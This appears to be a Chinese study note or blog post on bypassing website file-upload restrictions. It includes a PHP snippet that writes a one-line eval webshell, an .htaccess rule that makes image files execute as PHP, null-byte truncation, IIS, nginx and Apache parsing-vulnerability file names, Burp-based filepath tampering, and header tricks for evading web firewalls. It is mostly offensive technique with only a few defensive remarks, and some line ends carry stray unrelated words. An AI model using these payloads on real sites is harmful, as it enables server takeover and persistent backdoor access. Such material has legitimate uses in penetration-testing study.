1. 文件包含上傳:php
<?php include($_GET['xxx']); ?>
以上保存到test.php,html
<?php fwrite(fopen("payload.php","w"),'<?php eval($_POST["cc"]);?>');?>
效果就是test.php相同目錄下生成payload.php,內容就是一句話木馬。前端
2.。htaccessnginx
<FilesMatch "2232"> SetHandler application/x-httpd-php </FilesMatch>
。htaccess是一個分佈式配置文件,阿帕奇的。與jpg分別上傳至贊成目錄,可讓jpg解析爲phpshell
,用於對付黑名單,且能夠用來權限維持apache
3.MIME:burp修改就能夠解決後端
4.js:禁用瀏覽器js、修改刪除本地js瀏覽器
5.後綴名%00截斷安全
將文件名改成muma.php%00.jpg,在burp裏將%00右鍵轉碼爲urldecode服務器
或者命名爲muma.php.jpg,在burp裏將.php後面加一個空格,轉到hex裏,由於空格的編碼是%20,hex找到20將棋更名爲00.
事實上%00 0x00這些原理都是同樣的。中間件在探測到00(null)就認爲後面沒有了,俗稱截斷。這是後端接收到的認爲就是muma.php
防護:在緩衝區再作一次校驗
本次學習用的測試代碼demo: <?php // 容許上傳的圖片後綴 $allowedExts = array("gif", "jpeg", "jpg", "png"); $temp = explode(".", $_FILES["file"]["name"]); echo $_FILES["file"]["size"]; $extension = end($temp); // 獲取文件後綴名 if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/jpg") || ($_FILES["file"]["type"] == "image/pjpeg") || ($_FILES["file"]["type"] == "image/x-png") || ($_FILES["file"]["type"] == "image/png")) && ($_FILES["file"]["size"] < 204800) // 小於 200 kb && in_array($extension, $allowedExts)) { if ($_FILES["file"]["error"] > 0) { echo "錯誤:: " . $_FILES["file"]["error"] . "<br>"; } else { echo "上傳文件名: " . $_FILES["file"]["name"] . "<br>"; echo "文件類型: " . $_FILES["file"]["type"] . "<br>"; echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo "文件臨時存儲的位置: " . $_FILES["file"]["tmp_name"] . "<br>"; // 判斷當期目錄下的 upload 目錄是否存在該文件 // 若是沒有 upload 目錄,你須要建立它,注意upload目錄權限 if (file_exists("upload/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " 文件已經存在。 "; } else { // 若是 upload 目錄不存在該文件則將文件上傳到 upload 目錄下 move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "文件存儲在: " . "upload/" . $_FILES["file"]["name"]; } } } else { echo "非法的文件格式"; } ?>
6.中間件解析漏洞
一。 iis6.0 (沒有補丁,必定存在此漏洞,除非站長本身修復
文件正常地址
觸發漏洞地址:
將文件命名爲logo.asp;.xxx.jpg或logo.asp;.jpg
並瀏覽器訪問www.xxx.com/logo.asp;.xxx.jpg,或logo.asp;.jpg會把文件logo.asp;.xxx.jpg解析爲asp。(腳本格式隨意)
文件夾正常地址:
觸發漏洞地址
將logo.jpg放在image.asp文件夾下,並訪問
www.xxx.com/image.asp/logo.jpg(腳本格式隨意)
會把logo.jpg解析成爲asp
二。 iis7.x nginx 探索哪些nginx低版本會存在漏洞(有補丁,可能會有網站打補丁修復)
該解析漏洞利用需兩個條件:
1. php.ini裏cgi.fix_pathinfo=1(默認爲1)
2. 在」Handler Mapping」中取消勾選如下內容:
解決方案:
1. 配置cgi.pathinfo(php.ini中)爲0並重啓php-cgi程序
2. 在」Handler Mapping」勾選php-cgi.exe程序的」Invoke handler only if request is mapped to」
3. 從新配置iis,使用ISAPI的方式(注意:PHP5.3.1已經不支持ISAPI方式)。
三。nginx解析漏洞:
利用:
正常地址:
若是存在漏洞:
文件命名logo.jpg,命名不變,可是若是咱們訪問:
www.xxx.com/logo.jpg/*.php ,會將文件解析爲php,此漏洞只能將文件解析成php
localhost/img/1.jpg 是正常地訪問一張圖片,而 localhost/img/1.jpg/1.php 卻會把這張圖片做爲PHP文件來執行
條件:
新版本的php引入了「security.limit_extensions」,限制了可執行文件的後綴,默認只容許執行.php文件。來作進一步測試。找到php5-fpm配置文件php-fpm.conf,若不知道在哪,可用以下命令搜索:
sudo find / -name php-fpm.conf
個人測試環境中,該文件位於/etc/php5/fpm/php-fpm.conf。修改該文件中的「security.limit_extensions」,添加上.jpg,添加後以下所示:
security.limit_extensions = .php .jpg
這樣,php便認爲.jpg也是合法的php文件後綴了,再在瀏覽器中訪問 http://127.0.0.1/test.jpg/test.php ,看到php被成功執行
四。Apache(有補丁,可能會被打補丁修復,探索哪些版本會有漏洞,原理:向上解析,不識別,繼續向上)
正常地址:www.xxx.com/logo.jpg
若是存在漏洞:www.xxx.com/logo.jpg.php.xxx
將文件命名爲logo.jpg.php.xxx。 若是xxx apache不識別此格式,則向上解析php,假如還不識別繼續向上解析。
先來看測試過程和結果的對比吧。
結果一
首先,我安裝了apache 2.x版本,同時以module方式使apache與php結合,測試發現確實存在這樣的解析漏洞。
結果二
而後,我將apache與php的結合方式修改成fastcgi方式,測試發現爆500錯誤,不存在這樣的解析漏洞。
錯誤提示:
1Bad file descriptor: mod_fcgid: don't know how to spawn child process: f4ck.php.x
意思就是不知道該如何解析這個文件。
結果出來了,那麼對於影響範圍這塊,在目前全部的apache版本中均存在此問題,但只適用於以module方式解析php的apache,使用fastcgi方式解析php的apache不受影響,使用cgi方式解析php的apache是否影響未測試。
下面來簡單分享一下測試過程當中我發現的一點經驗。
先看一下apache的主配置文件httpd.conf,搜索「DefaultType」,就能夠看到這麼一段註釋和默認配置:
#
# DefaultType: the default MIME type the server will use for a document
# if it cannot otherwise determine one, such as from filename extensions.
# If your server contains mostly text or HTML documents, "text/plain" is
# a good value. If most of your content is binary, such as applications
# or images, you may want to use "application/octet-stream" instead to
# keep browsers from trying to display binary files as though they are
# text.
#10DefaultType text/plain
DefaultType存在的意義是告訴apache該如何處理未知擴展名的文件,好比f4ck.xxx這樣的文件,擴展名是xxx,這確定不是一個正常的網頁或腳本文件,這個參數就是告訴apache該怎麼處理這種未知擴展名的文件。
參數DefaultType的默認值是「text/plain」,也就是遇到未知擴展名的文件,就把它看成普通的txt文本或html文件來處理。
7.
Filepath修改上傳
針對本地, 服務端名稱不一致的狀況,雖然能夠經過文件夾命名形式利用解析漏洞,可是通常狀況很難在服務端建立所須要的文件夾,固然不是不可以建立,咱們也能夠利用編輯器漏洞來達到目的,如今要說的是不經過文件夾解析漏洞。
在這裏咱們上傳文件時經過burpsuite抓包,而後修改數據包裏的內容,舉例
本來filepath後內容是upfile,咱們抓包得到以後能夠在後面加上.asp,這樣就使得upfile文件夾變成upfile.asp, 就能夠觸發上述文件夾命名格式的解析漏洞。 也能夠在upfile/後面加上xx.asp; 這樣上傳的文件就變成了xx.asp;201510233(服務端自動命名).jpg, 能夠觸發解析漏洞達到訪問目的。
過狗:
上傳數據包:
Content-Disposition: form-data; name="upfile"; filename=x.php;
Content-Type: image/jpeg
Content-Disposition:
Name:上傳數據包參數名
Filename:文件名
Content-Type:文件類型信息
方法:
1.修改filename值,去掉雙引號加上分號。原理:分號表明語句沒有結束,結束語句後不帶分號,因此上傳的shell.php沒有識別爲文件名,而被識別爲函數,因此就接着從後面開始找
2.刪除Content-Disposition的值(form-data) 原理:表示我沒有數據要提交,亂寫:接受的不是表單值而是其餘